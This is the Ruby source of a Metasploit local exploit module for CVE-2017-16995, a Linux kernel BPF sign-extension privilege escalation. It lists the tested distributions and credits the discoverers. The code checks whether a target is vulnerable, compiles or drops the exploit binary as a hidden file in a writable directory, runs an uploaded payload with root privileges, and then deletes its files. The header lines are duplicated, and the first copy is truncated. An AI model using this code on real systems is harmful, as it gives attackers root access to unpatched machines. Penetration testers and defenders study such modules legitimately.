Linux BPF Sign Extension Local Privilege Escalation

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exp ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = GreatRanking

include Msf::Post::Linux::Priv
include Msf::Post::Linux::System
include Msf::Post::Linux::Kernel
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'Linux BPF Sign Extension Local Privilege Escalation',
'Description' => %q{
Linux kernel prior to 4.14.8 utilizes the Berkeley Packet Filter (BPF)
which contains a vulnerability where it may improperly perform sign
extension. This can be utilized to escalate privileges.

The target system must be compiled with BPF support and must not have
kernel.unprivileged_bpf_disabled set to 1.

This module has been tested successfully on:

Debian 9.0 kernel 4.9.0-3-amd64;
Deepin 15.5 kernel 4.9.0-deepin13-amd64;
ElementaryOS 0.4.1 kernel 4.8.0-52-generic;
Fedora 25 kernel 4.8.6-300.fc25.x86_64;
Fedora 26 kernel 4.11.8-300.fc26.x86_64;
Fedora 27 kernel 4.13.9-300.fc27.x86_64;
Gentoo 2.2 kernel 4.5.2-aufs-r;
Linux Mint 17.3 kernel 4.4.0-89-generic;
Linux Mint 18.0 kernel 4.8.0-58-generic;
Linux Mint 18.3 kernel 4.13.0-16-generic;
Mageia 6 kernel 4.9.35-desktop-1.mga6;
Manjero 16.10 kernel 4.4.28-2-MANJARO;
Solus 3 kernel 4.12.7-11.current;
Ubuntu 14.04.1 kernel 4.4.0-89-generic;
Ubuntu 16.04.2 kernel 4.8.0-45-generic;
Ubuntu 16.04.3 kernel 4.10.0-28-generic;
Ubuntu 17.04 kernel 4.10.0-19-generic;
ZorinOS 12.1 kernel 4.8.0-39-generic.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Jann Horn', # Discovery
'bleidl', # Discovery and get-rekt-linux-hardened.c exploit
'vnik', # upstream44.c exploit
'rlarabee', # cve-2017-16995.c exploit
'h00die', # Metasploit
'bcoles' # Metasploit
],
'DisclosureDate' => 'Nov 12 2017',
'Platform' => [ 'linux' ],
'Arch' => [ ARCH_X86, ARCH_X64 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' => [[ 'Auto', {} ]],
'Privileged' => true,
'References' =>
[
[ 'AKA', 'get-rekt-linux-hardened.c' ],
[ 'AKA', 'upstream44.c' ],
[ 'BID', '102288' ],
[ 'CVE', '2017-16995' ],
[ 'EDB', '44298' ],
[ 'EDB', '45010' ],
[ 'URL', 'https://github.com/rlarabee/exploits/blob/master/cve-2017-16995/cve-2017-16995.c' ],
[ 'URL', 'https://github.com/brl/grlh/blob/master/get-rekt-linux-hardened.c' ],
[ 'URL', 'http://cyseclabs.com/pub/upstream44.c' ],
[ 'URL', 'https://blog.aquasec.com/ebpf-vulnerability-cve-2017-16995-when-the-doorman-becomes-the-backdoor' ],
[ 'URL', 'https://ricklarabee.blogspot.com/2018/07/ebpf-and-analysis-of-get-rekt-linux.html' ],
[ 'URL', 'https://www.debian.org/security/2017/dsa-4073' ],
[ 'URL', 'https://usn.ubuntu.com/3523-2/' ],
[ 'URL', 'https://people.canonical.com/~ubuntu-security/cve/2017/CVE-2017-16995.html' ],
[ 'URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1454' ],
[ 'URL', 'http://openwall.com/lists/oss-security/2017/12/21/2'],
[ 'URL', 'https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=95a762e2c8c942780948091f8f2a4f32fce1ac6f' ]
],
'DefaultTarget' => 0))
register_options [
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w[Auto True False] ]),
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
]
end

def base_dir
datastore['WritableDir'].to_s
end

def upload(path, data)
print_status "Writing '#{path}' (#{data.size} bytes) ..."
rm_f path
write_file path, data
end

def upload_and_chmodx(path, data)
upload path, data
cmd_exec "chmod +x '#{path}'"
end

def upload_and_compile(path, data)
upload "#{path}.c", data

gcc_cmd = "gcc -o #{path} #{path}.c"
if session.type.eql? 'shell'
gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}"
end
output = cmd_exec gcc_cmd
rm_f "#{path}.c"

unless output.blank?
print_error output
fail_with Failure::Unknown, "#{path}.c failed to compile. Set COMPILE False to upload a pre-compiled executable."
end

cmd_exec "chmod +x #{path}"
end

def exploit_data(file)
path = ::File.join Msf::Config.data_directory, 'exploits', 'cve-2017-16995', file
fd = ::File.open path, 'rb'
data = fd.read fd.stat.size
fd.close
data
end

def live_compile?
return false unless datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True')

if has_gcc?
vprint_good 'gcc is installed'
return true
end

unless datastore['COMPILE'].eql? 'Auto'
fail_with Failure::BadConfig, 'gcc is not installed. Compiling will fail.'
end
end

def check
arch = kernel_hardware
unless arch.include? 'x86_64'
vprint_error "System architecture #{arch} is not supported"
return CheckCode::Safe
end
vprint_good "System architecture #{arch} is supported"

if unprivileged_bpf_disabled?
vprint_error 'Unprivileged BPF loading is not permitted'
return CheckCode::Safe
end
vprint_good 'Unprivileged BPF loading is permitted'

release = kernel_release
if Gem::Version.new(release.split('-').first) > Gem::Version.new('4.14.11') ||
Gem::Version.new(release.split('-').first) < Gem::Version.new('4.0')
vprint_error "Kernel version #{release} is not vulnerable"
return CheckCode::Safe
end
vprint_good "Kernel version #{release} appears to be vulnerable"

CheckCode::Appears
end

def exploit
unless check == CheckCode::Appears
fail_with Failure::NotVulnerable, 'Target not vulnerable! punt!'
end

if is_root?
fail_with Failure::BadConfig, 'Session already has root privileges'
end

unless cmd_exec("test -w '#{base_dir}' && echo true").include? 'true'
fail_with Failure::BadConfig, "#{base_dir} is not writable"
end

# Upload exploit executable
executable_name = ".#{rand_text_alphanumeric rand(5..10)}"
executable_path = "#{base_dir}/#{executable_name}"
if live_compile?
vprint_status 'Live compiling exploit on system...'
upload_and_compile executable_path, exploit_data('exploit.c')
else
vprint_status 'Dropping pre-compiled exploit on system...'
upload_and_chmodx executable_path, exploit_data('exploit.out')
end

# Upload payload executable
payload_path = "#{base_dir}/.#{rand_text_alphanumeric rand(5..10)}"
upload_and_chmodx payload_path, generate_payload_exe

# Launch exploit
print_status 'Launching exploit ...'
output = cmd_exec "echo '#{payload_path} & exit' | #{executable_path} "
output.each_line { |line| vprint_status line.chomp }
print_status "Cleaning up #{payload_path} and #{executable_path} ..."
rm_f executable_path
rm_f payload_path
end
end